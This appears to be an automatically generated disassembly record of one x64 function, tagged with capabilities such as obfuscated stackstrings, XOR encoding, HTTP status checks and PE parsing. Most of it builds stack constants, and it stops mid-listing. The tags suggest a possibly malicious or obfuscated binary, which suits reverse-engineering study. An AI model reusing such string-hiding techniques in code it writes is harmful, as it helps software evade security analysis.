Function at 0x140001000
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x273e8
call fcn.1401b4350
sub rsp, rax
mov byte [rsp + 0x50], 0x83
mov eax, 0x7545
mov word [rsp + 0xe94], ax
mov dword [rsp + 0x46e4], 0xe2e6b39f
movabs rax, 0xd8390ad457bf9494
mov qword [rsp + 0x7f28], rax
mov dword [rsp + 0x46e8], 0x17ef77e8
mov byte [rsp + 0x51], 0xda
mov dword [rsp + 0x46ec], 0xdc99c407
mov dword [rsp + 0x46f0], 0x862e13ac
mov dword [rsp + 0x46f4], 0x123defa9
mov dword [rsp + 0x46f8], 0x6132765d
mov byte [rsp + 0x52], 0xe4
mov byte [rsp + 0x53], 0x32
mov dword [rsp + 0x46fc], 0x65553acd
mov dword [rsp + 0x4700], 0xa4ee197d
mov byte [rsp + 0x54], 0x43
mov byte [rsp + 0x55], 0x20
mov eax, 0x4f20
mov word [rsp + 0xe98], ax
mov byte [rsp + 0x56], 0x33
mov byte [rsp + 0x57], 0x16
mov dword [rsp + 0x4704], 0x66a683fc
mov eax, 0x610a
mov word [rsp + 0xe9c], ax
mov eax, 0x4946
mov word [rsp + 0xea0], ax
mov eax, 0xe25
mov word [rsp + 0xea4], ax
mov eax, 0x63d5
mov word [rsp + 0xea8], ax
mov dword [rsp + 0x4708], 0x76b849c1
mov byte [rsp + 0x58], 0xb
mov dword [rsp + 0x470c], 0x6a58acd7
movabs rax, 0xbd16227a4baa7463
mov qword [rsp + 0x7f30], rax
mov byte [rsp + 0x59], 0x2c
mov byte [rsp + 0x5a], 0x6a
mov eax, 0x7521
mov word [rsp + 0xeac], ax
mov byte [rsp + 0x5b], 0xa4
mov eax, 0x1c61
mov word [rsp + 0xeb0], ax
mov eax, 0x7b73
mov word [rsp + 0xeb4], ax
mov eax, 0x285
mov word [rsp + 0xeb8], ax
mov byte [rsp + 0x5c], 0x35
mov eax, 0x7d42
mov word [rsp + 0xebc], ax
mov byte [rsp + 0x5d], 0x5d
mov byte [rsp + 0x5e], 3
mov eax, 0x1823
mov word [rsp + 0xec0], ax
movabs rax, 0x648b4847ce5071f6
mov qword [rsp + 0x7f38], rax
mov eax, 0xd77
mov word [rsp + 0xec4], ax
mov byte [rsp + 0x5f], 0x3a
mov eax, 0x5011
mov word [rsp + 0xec8], ax
mov byte [rsp + 0x60], 0x48
movabs rax, 0x8473f6d6fb5267c4
mov qword [rsp + 0x7f40], rax
movabs rax, 0x1b0b1f2fd045374f
mov qword [rsp + 0x7f48], rax
mov eax, 0xc72
mov word [rsp + 0xecc], ax
mov dword [rsp + 0x4710], 0xb394425b
mov dword [rsp + 0x4714], 0xb244b4a0
movabs rax, 0x16579c50d92d3549
mov qword [rsp + 0x7f50], rax
mov byte [rsp + 0x61], 0xd1
movabs rax, 0xbc81936da1520413
mov qword [rsp + 0x7f58], rax
movabs rax, 0x5f1aaadc7455489a
mov qword [rsp + 0x7f60], rax
mov byte [rsp + 0x62], 0x3f
mov byte [rsp + 0x63], 0x7a
mov byte [rsp + 0x64], 0x35
mov eax, 0x3478
mov word [rsp + 0xed0], ax
movabs rax, 0x54c69d09f57cf465
mov qword [rsp + 0x7f68], rax
mov byte [rsp + 0x65], 9
mov byte [rsp + 0x66], 0xfa
mov dword [rsp + 0x4718], 0x4ff9afd8
mov eax, 0xe3
mov word [rsp + 0xed4], ax
mov byte [rsp + 0x67], 0
mov dword [rsp + 0x471c], 0x79362181
mov byte [rsp + 0x68], 0x7d
mov byte [rsp + 0x69], 0xcc
mov dword [rsp + 0x4720], 0xf3e00528
mov eax, 0x4d3b
mov word [rsp + 0xed8], ax
movabs rax, 0x68b7f4f454b65029
mov qword [rsp + 0x7f70], rax
mov byte [rsp + 0x6a], 0x35
mov eax, 0x13dd
mov word [rsp + 0xedc], ax
mov eax, 0x2655
mov word [rsp + 0xee0], ax
movabs rax, 0xda0868b1ccf08845
mov qword [rsp + 0x7f78], rax
mov eax, 0x138e
mov word [rsp + 0xee4], ax
movabs rax, 0x5b41b58ebc4474c7
mov qword [rsp + 0x7f80], rax
mov dword [rsp + 0x4724], 0x76712177
mov dword [rsp + 0x4728], 0xfc62e822
mov dword [rsp + 0x472c], 0x7c64949e
mov byte [rsp + 0x6b], 0x54
mov dword [rsp + 0x4730], 0x3da5fe9b
mov dword [rsp + 0x4734], 0x19c46e65
mov dword [rsp + 0x4738], 0x391c8d83
mov dword [rsp + 0x473c], 0xbd87b571
mov dword [rsp + 0x4740], 0x553262f3
mov dword [rsp + 0x4744], 0x6e088f56
mov byte [rsp + 0x6c], 0x85
movabs rax, 0x1b83c68f21ad8a1b
mov qword [rsp + 0x7f88], rax
mov byte [rsp + 0x6d], 0x2f
mov dword [rsp + 0x4748], 0x48083737
mov eax, 0x6b02
mov word [rsp + 0xee8], ax
mov eax, 0x7bb
mov word [rsp + 0xeec], ax
mov eax, 0x272
mov word [rsp + 0xef0], ax
movabs rax, 0x92e83226b2cc8e5c
mov qword [rsp + 0x7f90], rax
mov byte [rsp + 0x6e], 0x41
mov eax, 0x278
mov word [rsp + 0xef4], ax
mov dword [rsp + 0x474c], 0x7e63cc0a
mov eax, 0xfc1
mov word [rsp + 0xef8], ax
mov byte [rsp + 0x6f], 0x2f
mov byte [rsp + 0x70], 0x97
movabs rax, 0x31bdbe5ee015f7cb
mov qword [rsp + 0x7f98], rax
mov eax, 0x5ee1
mov word [rsp + 0xefc], ax
movabs rax, 0x94c8ef854afd94ae
mov qword [rsp + 0x7fa0], rax
movabs rax, 0x1b24a82062655382
mov qword [rsp + 0x7fa8], rax
mov eax, 0xb33
mov word [rsp + 0xf00], ax
movabs rax, 0xe4f0936f227ab1c0
mov qword [rsp + 0x7fb0], rax
mov eax, 0x2b5
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x4750], 0x45460d57
movabs rax, 0x1127ba70f4ecd4ec
mov qword [rsp + 0x7fb8], rax
mov dword [rsp + 0x4754], 0x851f19b6
mov eax, 0xdb9
mov word [rsp + 0xf08], ax
mov dword [rsp + 0x4758], 0x26be79c1
mov eax, 0x2c9a
mov word [rsp + 0xf0c], ax
movabs rax, 0x23e8a97aa7e8bf9a
mov qword [rsp + 0x7fc0], rax
mov byte [rsp + 0x71], 0xa0
mov eax, 0x1f51
mov word [rsp + 0xf10], ax
mov eax, 0x8da
mov word [rsp + 0xf14], ax
mov eax, 0x271
mov word [rsp + 0xf18], ax
mov byte [rsp + 0x72], 0x75
mov eax, 0xf8
mov word [rsp + 0xf1c], ax
mov eax, 0x86c
mov word [rsp + 0xf20], ax
mov dword [rsp + 0x475c], 0x623eae48
mov eax, 0xb20
mov word [rsp + 0xf24], ax
mov eax, 0xd74
mov word [rsp + 0xf28], ax
mov byte [rsp + 0x73], 0x1e
mov eax, 0xeec
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x74], 0x6a
mov byte [rsp + 0x75], 0x50
movabs rax, 0x259fbdeafced0442
mov qword [rsp + 0x7fc8], rax
mov eax, 0x4a5e
mov word [rsp + 0xf30], ax
movabs rax, 0xc3c327e4d411d850
mov qword [rsp + 0x7fd0], rax
mov eax, 0xf9d
mov word [rsp + 0xf34], ax
mov eax, 0x9de
mov word [rsp + 0xf38], ax
movabs rax, 0xbf8e6c9db28ebec0
mov qword [rsp + 0x7fd8], rax
mov byte [rsp + 0x76], 0x5a
movabs rax, 0x59ad6fe620338796
mov qword [rsp + 0x7fe0], rax
mov eax, 0x222
mov word [rsp + 0xf3c], ax
mov eax, 0xbe0
mov word [rsp + 0xf40], ax
mov byte [rsp + 0x77], 0x5c
mov dword [rsp + 0x4760], 0x3d66ea76
movabs rax, 0xef59374e7a6872b0
mov qword [rsp + 0x7fe8], rax
mov byte [rsp + 0x78], 0x4a
movabs rax, 0xfe3a56da503bd1a8
mov qword [rsp + 0x7ff0], rax
movabs rax, 0xf740be793226f780
mov qword [rsp + 0x7ff8], rax
mov dword [rsp + 0x4764], 0x1e94fa74
mov dword [rsp + 0x4768], 0x25b9a513
mov byte [rsp + 0x79], 0x51
mov dword [rsp + 0x476c], 0x7130a978
mov eax, 0x620
mov word [rsp + 0xf44], ax
mov dword [rsp + 0x4770], 0x260f6902
mov eax, 0x791
mov word [rsp + 0xf48], ax
movabs rax, 0xb5d55cf0cd6fc80
mov qword [rsp + 0x8000], rax
mov eax, 0x7917
mov word [rsp + 0xf4c], ax
mov dword [rsp + 0x4774], 0x6a490b03
movabs rax, 0x2e3489fe0935a39d
mov qword [rsp + 0x8008], rax
mov eax, 0x5c4
mov word [rsp + 0xf50], ax
mov dword [rsp + 0x4778], 0x9c7f956c
mov eax, 0xbcf
mov word [rsp + 0xf54], ax
mov eax, 0x3441
mov word [rsp + 0xf58], ax
mov eax, 0x305f
mov word [rsp + 0xf5c], ax
mov dword [rsp + 0x477c], 0x5695567a
mov dword [rsp + 0x4780], 0xe8695f73
movabs rax, 0xcdbb38570a44d310
mov qword [rsp + 0x8010], rax
mov dword [rsp + 0x4784], 0x54a1c27d
mov byte [rsp + 0x7a], 0x43
mov eax, 0x5d79
mov word [rsp + 0xf60], ax
mov byte [rsp + 0x7b], 0x4e
mov eax, 0x7cff
mov word [rsp + 0xf64], ax
mov byte [rsp + 0x7c], 0x74
mov eax, 0x94e
mov word [rsp + 0xf68], ax
movabs rax, 0xf0f75160b7fa9527
mov qword [rsp + 0x8018], rax
mov eax, 0x5b12
mov word [rsp + 0xf6c], ax
mov dword [rsp + 0x4788], 0x77355e1b
mov byte [rsp + 0x7d], 0x77
mov dword [rsp + 0x478c], 0x3dd727f8
mov eax, 0x121b
mov word [rsp + 0xf70], ax
mov byte [rsp + 0x7e], 0x8c
mov dword [rsp + 0x4790], 0x69d50f66
mov dword [rsp + 0x4794], 0x70f13222
mov dword [rsp + 0x4798], 0xa832d0c
mov eax, 0xbc3
mov word [rsp + 0xf74], ax
mov byte [rsp + 0x7f], 0x3c
mov eax, 0xc7e
mov word [rsp + 0xf78], ax
mov byte [rsp + 0x80], 6
mov eax, 0x49d9
mov word [rsp + 0xf7c], ax
mov dword [rsp + 0x479c], 0x5955c0c9
mov byte [rsp + 0x81], 0x4f
mov eax, 0x596a
mov word [rsp + 0xf80], ax
mov eax, 0x372
mov word [rsp + 0xf84], ax
mov byte [rsp + 0x82], 0x20
movabs rax, 0x374f7ffe2db7f068
mov qword [rsp + 0x8020], rax
mov dword [rsp + 0x47a0], 0x888ef084
movabs rax, 0x7d2b2ccdf00679b5
mov qword [rsp + 0x8028], rax
mov eax, 0xeaf
mov word [rsp + 0xf88], ax
mov eax, 0x724
mov word [rsp + 0xf8c], ax
movabs rax, 0x667e6f73f3d4c658
mov qword [rsp + 0x8030], rax
mov dword [rsp + 0x47a4], 0xac078d3d
mov byte [rsp + 0x83], 0x38
mov dword [rsp + 0x47a8], 0xc3a4734
mov dword [rsp + 0x47ac], 0x28b674e6
mov dword [rsp + 0x47b0], 0xc7d592a7
mov dword [rsp + 0x47b4], 0x6f0cfb12
mov dword [rsp + 0x47b8], 0x9b6700f2
mov eax, 0x541
mov word [rsp + 0xf90], ax
mov byte [rsp + 0x84], 0xf8
mov byte [rsp + 0x85], 0x6d
mov eax, 0xea6
mov word [rsp + 0xf94], ax
mov dword [rsp + 0x47bc], 0x4576245e
mov eax, 0x502d
mov word [rsp + 0xf98], ax
mov eax, 0x18b
mov word [rsp + 0xf9c], ax
mov dword [rsp + 0x47c0], 0x42de2b00
mov dword [rsp + 0x47c4], 0x166ae795
movabs rax, 0x18c986df4438c79c
mov qword [rsp + 0x8038], rax
mov byte [rsp + 0x86], 0xc5
mov dword [rsp + 0x47c8], 0x745e6a4d
movabs rax, 0x1256547586f6983e
mov qword [rsp + 0x8040], rax
mov byte [rsp + 0x87], 0x50
mov eax, 0x560
mov word [rsp + 0xfa0], ax
mov eax, 0x251a
mov word [rsp + 0xfa4], ax
movabs rax, 0x52ab6fe8fe394670
mov qword [rsp + 0x8048], rax
mov eax, 0xd10
mov word [rsp + 0xfa8], ax
mov byte [rsp + 0x88], 0xbb
mov dword [rsp + 0x47cc], 0x7e055494
movabs rax, 0xca3a57b541be41d2
mov qword [rsp + 0x8050], rax
mov dword [rsp + 0x47d0], 0x5952101c
mov dword [rsp + 0x47d4], 0x4f19ab79
movabs rax, 0xa693b0d01e2d7a5
mov qword [rsp + 0x8058], rax
mov eax, 0xc27
mov word [rsp + 0xfac], ax
mov eax, 0x34d3
mov word [rsp + 0xfb0], ax
movabs rax, 0x33739484da7449c5
mov qword [rsp + 0x8060], rax
mov eax, 0x649
mov word [rsp + 0xfb4], ax
mov byte [rsp + 0x89], 0x42
mov dword [rsp + 0x47d8], 0x18e11d7e
mov eax, 0x3d4
mov word [rsp + 0xfb8], ax
mov eax, 0xb24
mov word [rsp + 0xfbc], ax
mov eax, 0x705f
mov word [rsp + 0xfc0], ax
mov eax, 0xd08
mov word [rsp + 0xfc4], ax
mov eax, 0x110
mov word [rsp + 0xfc8], ax
mov dword [rsp + 0x47dc], 0x7ce79a2f
movabs rax, 0xef38ad82a611de2
mov qword [rsp + 0x8068], rax
mov eax, 0x6245
mov word [rsp + 0xfcc], ax
mov eax, 0x4c56
mov word [rsp + 0xfd0], ax
mov dword [rsp + 0x47e0], 0x5806abd0
mov dword [rsp + 0x47e4], 0x5fed8324
mov dword [rsp + 0x47e8], 0x94b0dcf9
mov byte [rsp + 0x8a], 0xa1
mov eax, 0x546
mov word [rsp + 0xfd4], ax
movabs rax, 0xd6360ddca8189dd4
mov qword [rsp + 0x8070], rax
mov byte [rsp + 0x8b], 0x69
mov eax, 0xa99
mov word [rsp + 0xfd8], ax
mov byte [rsp + 0x8c], 0x11
mov eax, 0x21e
mov word [rsp + 0xfdc], ax
mov eax, 0x1ba
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x47ec], 0x12bd4e0d
mov dword [rsp + 0x47f0], 0xcca51f
mov eax, 0x1e6
mov word [rsp + 0xfe4], ax
mov dword [rsp + 0x47f4], 0xc3d1518a
mov byte [rsp + 0x8d], 0xb6
mov eax, 0x4ae9
mov word [rsp + 0xfe8], ax
mov dword [rsp + 0x47f8], 0x58287732
mov dword [rsp + 0x47fc], 0x277c50c9
mov dword [rsp + 0x4800], 0x28785d86
movabs rax, 0x41e463e1eba822c
mov qword [rsp + 0x8078], rax
mov byte [rsp + 0x8e], 6
mov byte [rsp + 0x8f], 0x76
mov dword [rsp + 0x4804], 0x825a68
mov eax, 0x1d31
mov word [rsp + 0xfec], ax
movabs rax, 0x476fefcb7fa07141
mov qword [rsp + 0x8080], rax
mov eax, 0x79c
mov word [rsp + 0xff0], ax
movabs rax, 0x9b008d5d066f2660
mov qword [rsp + 0x8088], rax
mov dword [rsp + 0x4808], 0x9b60ebdc
mov dword [rsp + 0x480c], 0xf87e58c
mov byte [rsp + 0x90], 0x21
mov dword [rsp + 0x4810], 0x39e3af88
mov dword [rsp + 0x4814], 0x2ff57ce
mov dword [rsp + 0x4818], 0x995e4c09
mov byte [rsp + 0x91], 7
mov eax, 0x58a
mov word [rsp + 0xff4], ax
mov eax, 0xa60
mov word [rsp + 0xff8], ax
mov dword [rsp + 0x481c], 0x20d01519
mov byte [rsp + 0x92], 0xf0
mov eax, 0x392
mov word [rsp + 0xffc], ax
movabs rax, 0x7f9566c55347f74
mov qword [rsp + 0x8090], rax
mov dword [rsp + 0x4820], 0xc4ea6946
mov eax, 0x8a3
mov word [rsp + 0x1000], ax
mov eax, 0x6327
mov word [rsp + 0x1004], ax
mov byte [rsp + 0x93], 5
movabs rax, 0xbb68509f8bddacbe
mov qword [rsp + 0x8098], rax
movabs rax, 0x6a76f8dc0058a26a
mov qword [rsp + 0x80a0], rax
mov byte [rsp + 0x94], 0x6c
mov byte [rsp + 0x95], 0x58
mov dword [rsp + 0x4824], 0xec2ba8e4
mov byte [rsp + 0x96], 0x91
movabs rax, 0x67c354627907bebf
mov qword [rsp + 0x80a8], rax
mov byte [rsp + 0x97], 0x52
movabs rax, 0x2b7df95eeb0cb239
mov qword [rsp + 0x80b0], rax
mov byte [rsp + 0x98], 0x57
mov dword [rsp + 0x4828], 0xba13149f
mov dword [rsp + 0x482c], 0x4dc78fc2
mov byte [rsp + 0x99], 0x91
mov byte [rsp + 0x9a], 0x5f
mov byte [rsp + 0x9b], 0x35
movabs rax, 0x7bbb10713376daa3
mov qword [rsp + 0x80b8], rax
mov eax, 0xe2d
mov word [rsp + 0x1008], ax
movabs rax, 0xe8cdcfb7500e5434
mov qword [rsp + 0x80c0], rax
movabs rax, 0x6f9c786b190a8d64
mov qword [rsp + 0x80c8], rax
mov dword [rsp + 0x4830], 0x7947025c
movabs rax, 0x7cc3f8d9db814a33
mov qword [rsp + 0x80d0], rax
mov byte [rsp + 0x9c], 0x1b
mov dword [rsp + 0x4834], 0x459f1507
movabs rax, 0x6d682a9f718c4d59
mov qword [rsp + 0x80d8], rax
mov dword [rsp + 0x4838], 0x80b243eb
movabs rax, 0x843ede07712fcc9
mov qword [rsp + 0x80e0], rax
movabs rax, 0x932906fa7ee94e6c
mov qword [rsp + 0x80e8], rax
movabs rax, 0x66e6b60f9f9713df
mov qword [rsp + 0x80f0], rax
mov dword [rsp + 0x483c], 0x4432224a
mov byte [rsp + 0x9d], 0x26
movabs rax, 0x7856487339a04fb0
mov qword [rsp + 0x80f8], rax
mov byte [rsp + 0x9e], 0x63
mov byte [rsp + 0x9f], 0x2e
movabs rax, 0x106f591787fe68eb
mov qword [rsp + 0x8100], rax
movabs rax, 0x1cc001cebdae8444
mov qword [rsp + 0x8108], rax
movabs rax, 0x770873efcc412478
mov qword [rsp + 0x8110], rax
mov eax, 0xb4f
mov word [rsp + 0x100c], ax
movabs rax, 0xe09d64cfcf9d34e0
mov qword [rsp + 0x8118], rax
mov byte [rsp + 0xa0], 0xf3
mov byte [rsp + 0xa1], 0xd9
mov dword [rsp + 0x4840], 0x2402ef70
mov dword [rsp + 0x4844], 0x125b86ee
mov eax, 0x96a
mov word [rsp + 0x1010], ax
mov byte [rsp + 0xa2], 0x77
mov byte [rsp + 0xa3], 0xbb
mov eax, 0x93c
mov word [rsp + 0x1014], ax
mov eax, 0x5efe
mov word [rsp + 0x1018], ax
mov dword [rsp + 0x4848], 0x44642fd1
mov byte [rsp + 0xa4], 5
movabs rax, 0x969dddbfbbaed388
mov qword [rsp + 0x8120], rax
movabs rax, 0x887abe8b0a0c973c
mov qword [rsp + 0x8128], rax
mov eax, 0x370d
mov word [rsp + 0x101c], ax
mov eax, 0x5d76
mov word [rsp + 0x1020], ax
mov byte [rsp + 0xa5], 0x64
mov dword [rsp + 0x484c], 0x57f4cbcc
mov dword [rsp + 0x4850], 0x64cae437
mov byte [rsp + 0xa6], 0x5a
movabs rax, 0x79166ced3ea415dc
mov qword [rsp + 0x8130], rax
mov eax, 0x4ba9
mov word [rsp + 0x1024], ax
mov dword [rsp + 0x4854], 0x45f646b9
movabs rax, 0xe7453d4888744fe9
mov qword [rsp + 0x8138], rax
movabs rax, 0x2923bcd2c2f3b8fc
mov qword [rsp + 0x8140], rax
movabs rax, 0x8969f139fb54903
mov qword [rsp + 0x8148], rax
movabs rax, 0x6716e09918ca0812
mov qword [rsp + 0x8150], rax
mov dword [rsp + 0x4858], 0xcf71861
movabs rax, 0x59bd951e3b938b7d
mov qword [rsp + 0x8158], rax
movabs rax, 0xc6648159ab6c26e6
mov qword [rsp + 0x8160], rax
movabs rax, 0xbdabe7014c4fbba2
mov qword [rsp + 0x8168], rax
mov byte [rsp + 0xa7], 0x35
mov eax, 0x11
mov word [rsp + 0x1028], ax
movabs rax, 0x1073997bc024bc48
mov qword [rsp + 0x8170], rax
movabs rax, 0x1da207a8c6890504
mov qword [rsp + 0x8178], rax
movabs rax, 0xf2b70f11eb4d5eba
mov qword [rsp + 0x8180], rax
mov byte [rsp + 0xa8], 0xbc
mov dword [rsp + 0x485c], 0x441fe49b
mov eax, 0x197b
mov word [rsp + 0x102c], ax
mov byte [rsp + 0xa9], 0x10
mov eax, 0x1a75
mov word [rsp + 0x1030], ax
mov byte [rsp + 0xaa], 0x71
mov eax, 0x65e
mov word [rsp + 0x1034], ax
mov byte [rsp + 0xab], 0x72
mov byte [rsp + 0xac], 0x17
mov dword [rsp + 0x4860], 0x2814d9a4
mov byte [rsp + 0xad], 0xe0
mov dword [rsp + 0x4864], 0xe879e940
mov byte [rsp + 0xae], 0x2e
movabs rax, 0x2a98a30104652c30
mov qword [rsp + 0x8188], rax
mov eax, 0xfcc
mov word [rsp + 0x1038], ax
mov eax, 0x42a
mov word [rsp + 0x103c], ax
movabs rax, 0x20a15fa9625a19ad
mov qword [rsp + 0x8190], rax
movabs rax, 0x396f41929cd0d3a8
mov qword [rsp + 0x8198], rax
mov dword [rsp + 0x4868], 0x732c9707
movabs rax, 0x10d15638b95c4049
mov qword [rsp + 0x81a0], rax
mov byte [rsp + 0xaf], 0x2f
movabs rax, 0x6d2f12b23294ebde
mov qword [rsp + 0x81a8], rax
mov byte [rsp + 0xb0], 0x61
mov byte [rsp + 0xb1], 0x4d
movabs rax, 0xae3b7d585cadd355
mov qword [rsp + 0x81b0], rax
mov byte [rsp + 0xb2], 0x2b
mov dword [rsp + 0x486c], 0x8ea1a5e0
movabs rax, 0x2318cf7741d4e3b2
mov qword [rsp + 0x81b8], rax
movabs rax, 0xf003e57552bdb376
mov qword [rsp + 0x81c0], rax
mov byte [rsp + 0xb3], 0x89
mov byte [rsp + 0xb4], 0x20
movabs rax, 0x6019fc91441531b0
mov qword [rsp + 0x81c8], rax
mov dword [rsp + 0x4870], 0x5d72e823
mov dword [rsp + 0x4874], 0xcf89db3
movabs rax, 0x422ee2b901932ad5
mov qword [rsp + 0x81d0], rax
mov dword [rsp + 0x4878], 0x61eb708f
mov dword [rsp + 0x487c], 0xefe5651
mov eax, 0x4a6a
mov word [rsp + 0x1040], ax
mov byte [rsp + 0xb5], 0xac
movabs rax, 0xe2af3bc59dfdc57c
mov qword [rsp + 0x81d8], rax
movabs rax, 0x45bbea8a27963a34
mov qword [rsp + 0x81e0], rax
mov byte [rsp + 0xb6], 0x23
mov dword [rsp + 0x4880], 0x20bee978
mov eax, 0xce2
mov word [rsp + 0x1044], ax
mov dword [rsp + 0x4884], 0x4db33a18
mov dword [rsp + 0x4888], 0xc3dcedd9
mov byte [rsp + 0xb7], 0x52
mov dword [rsp + 0x488c], 0x98d354b0
movabs rax, 0xdb9e1cb152a5bca5
mov qword [rsp + 0x81e8], rax
mov dword [rsp + 0x4890], 0x30c6c5a3
mov eax, 0x2df3
mov word [rsp + 0x1048], ax
mov byte [rsp + 0xb8], 0xdd
movabs rax, 0x595418e45b5c5829
mov qword [rsp + 0x81f0], rax
mov eax, 0x516b
mov word [rsp + 0x104c], ax
mov eax, 0xa7b
mov word [rsp + 0x1050], ax
mov dword [rsp + 0x4894], 0x6e11b30b
movabs rax, 0x570b765633a51604
mov qword [rsp + 0x81f8], rax
mov eax, 0x833
mov word [rsp + 0x1054], ax
movabs rax, 0x2f45999f32dd59d5
mov qword [rsp + 0x8200], rax
movabs rax, 0x114f184a1bf77a51
mov qword [rsp + 0x8208], rax
mov eax, 0xfc4
mov word [rsp + 0x1058], ax
mov eax, 0x4765
mov word [rsp + 0x105c], ax
mov byte [rsp + 0xb9], 0x57
mov dword [rsp + 0x4898], 0x346177c9
mov eax, 0x1396
mov word [rsp + 0x1060], ax
mov byte [rsp + 0xba], 0x11
mov eax, 0xb5d
mov word [rsp + 0x1064], ax
mov byte [rsp + 0xbb], 0x40
mov eax, 0x3cb5
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x489c], 0xd155341f
movabs rax, 0x565c65955fb02e6b
mov qword [rsp + 0x8210], rax
mov eax, 0x34bb
mov word [rsp + 0x106c], ax
mov dword [rsp + 0x48a0], 0x59710d53
mov eax, 0x4efc
mov word [rsp + 0x1070], ax
mov byte [rsp + 0xbc], 0x25
mov eax, 0x7223
mov word [rsp + 0x1074], ax
mov byte [rsp + 0xbd], 6
movabs rax, 0x1ea7b55dfad53015
mov qword [rsp + 0x8218], rax
mov eax, 0xc23
mov word [rsp + 0x1078], ax
mov byte [rsp + 0xbe], 0x47
mov dword [rsp + 0x48a4], 0x98855a1e
movabs rax, 0x537071df0291f47f
mov qword [rsp + 0x8220], rax
mov dword [rsp + 0x48a8], 0x6e0e8b76
mov eax, 0x3a0
mov word [rsp + 0x107c], ax
mov eax, 0xc75
mov word [rsp + 0x1080], ax
mov eax, 0x4bca
mov word [rsp + 0x1084], ax
movabs rax, 0x6467bdbf21bb101a
mov qword [rsp + 0x8228], rax
movabs rax, 0xeed223d2f8c3003c
mov qword [rsp + 0x8230], rax
mov dword [rsp + 0x48ac], 0x36dd328b
mov byte [rsp + 0xbf], 0x5e
mov eax, 0xbdb
mov word [rsp + 0x1088], ax
mov dword [rsp + 0x48b0], 0x9802763
mov eax, 0x4d4
mov word [rsp + 0x108c], ax
movabs rax, 0xadecefc0573e9
mov qword [rsp + 0x8238], rax
mov dword [rsp + 0x48b4], 0x591f2b4
movabs rax, 0x89a1f1a3a60d9bfd
mov qword [rsp + 0x8240], rax
movabs rax, 0xd64bf5e4716b12f2
mov qword [rsp + 0x8248], rax
mov eax, 0x10c5
mov word [rsp + 0x1090], ax
mov byte [rsp + 0xc0], 0xa7
mov dword [rsp + 0x48b8], 0x978a88cf
mov dword [rsp + 0x48bc], 0x9fc239d0
mov dword [rsp + 0x48c0], 0x35047b1a
mov byte [rsp + 0xc1], 0x6f
movabs rax, 0x9683d0a72e04550a
mov qword [rsp + 0x8250], rax
mov byte [rsp + 0xc2], 0xce
mov dword [rsp + 0x48c4], 0x21967f1d
mov eax, 0xebc
mov word [rsp + 0x1094], ax
mov dword [rsp + 0x48c8], 0x5ea7566b
mov byte [rsp + 0xc3], 0xb8
mov byte [rsp + 0xc4], 0x77
mov byte [rsp + 0xc5], 0x31
mov byte [rsp + 0xc6], 0xc
mov dword [rsp + 0x48cc], 0x329d6841
mov byte [rsp + 0xc7], 0xe
mov dword [rsp + 0x48d0], 0xe70d14ff
mov dword [rsp + 0x48d4], 0x64e70bff
mov dword [rsp + 0x48d8], 0x3d90bfe6
movabs rax, 0x16c226c0cd138c62
mov qword [rsp + 0x8258], rax
movabs rax, 0x10b9a56e9156f3
mov qword [rsp + 0x8260], rax
mov dword [rsp + 0x48dc], 0x3aed99d7
mov eax, 0x2ad1
mov word [rsp + 0x1098], ax
mov byte [rsp + 0xc8], 0x3c
mov dword [rsp + 0x48e0], 0x43eba78a
mov dword [rsp + 0x48e4], 0x233d107e
mov byte [rsp + 0xc9], 0x55
mov byte [rsp + 0xca], 0x66
movabs rax, 0x7af9916dae00d35
mov qword [rsp + 0x8268], rax
mov eax, 0x5253
mov word [rsp + 0x109c], ax
mov dword [rsp + 0x48e8], 0x1ff98e7e
mov eax, 0x6ae9
mov word [rsp + 0x10a0], ax
movabs rax, 0xb49dccfa5a4bb1ce
mov qword [rsp + 0x8270], rax
mov byte [rsp + 0xcb], 0x2e
mov byte [rsp + 0xcc], 0x53
mov eax, 0x51f0
mov word [rsp + 0x10a4], ax
mov dword [rsp + 0x48ec], 0x298dcca9
mov eax, 7
mov word [rsp + 0x10a8], ax
mov byte [rsp + 0xcd], 0x7a
mov eax, 0xbb
mov word [rsp + 0x10ac], ax
mov dword [rsp + 0x48f0], 0x2a3297e0
movabs rax, 0x1ae4da88cd29c52
mov qword [rsp + 0x8278], rax
mov dword [rsp + 0x48f4], 0xc32ba2e
mov byte [rsp + 0xce], 0x57
mov eax, 0x4d1
mov word [rsp + 0x10b0], ax
mov eax, 0x601c
mov word [rsp + 0x10b4], ax
mov eax, 0x4f80
mov word [rsp + 0x10b8], ax
mov eax, 0x281f
mov word [rsp + 0x10bc], ax
mov eax, 0x717
mov word [rsp + 0x10c0], ax
mov byte [rsp + 0xcf], 0x30
mov dword [rsp + 0x48f8], 0xe931e4c0
mov byte [rsp + 0xd0], 0x1e
mov byte [rsp + 0xd1], 0x74
movabs rax, 0x6feaeb17bf38ce2b
mov qword [rsp + 0x8280], rax
mov eax, 0x69cf
mov word [rsp + 0x10c4], ax
mov eax, 0x220a
mov word [rsp + 0x10c8], ax
mov eax, 0x7407
mov word [rsp + 0x10cc], ax
mov eax, 0xd82
mov word [rsp + 0x10d0], ax
mov byte [rsp + 0xd2], 0x1e
mov eax, 0x3d93
mov word [rsp + 0x10d4], ax
movabs rax, 0x28aa340973e8ad85
mov qword [rsp + 0x8288], rax
mov eax, 0x6970
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x48fc], 0x47711f85
mov dword [rsp + 0x4900], 0xd395fef2
mov eax, 0x487f
mov word [rsp + 0x10dc], ax
mov eax, 0x10fd
mov word [rsp + 0x10e0], ax
movabs rax, 0xc4168f5f9ba58822
mov qword [rsp + 0x8290], rax
mov byte [rsp + 0xd3], 0x1f
mov dword [rsp + 0x4904], 0x711c446e
mov byte [rsp + 0xd4], 7
mov eax, 0x66be
mov word [rsp + 0x10e4], ax
mov eax, 0xda5
mov word [rsp + 0x10e8], ax
mov dword [rsp + 0x4908], 0xb41df573
mov dword [rsp + 0x490c], 0x7de82f82
mov byte [rsp + 0xd5], 5
mov eax, 0x2da
mov word [rsp + 0x10ec], ax
movabs rax, 0xa8301cfc69e3bb51
mov qword [rsp + 0x8298], rax
mov eax, 0xa49
mov word [rsp + 0x10f0], ax
mov eax, 0xca3
mov word [rsp + 0x10f4], ax
movabs rax, 0x30ffd092c879ed86
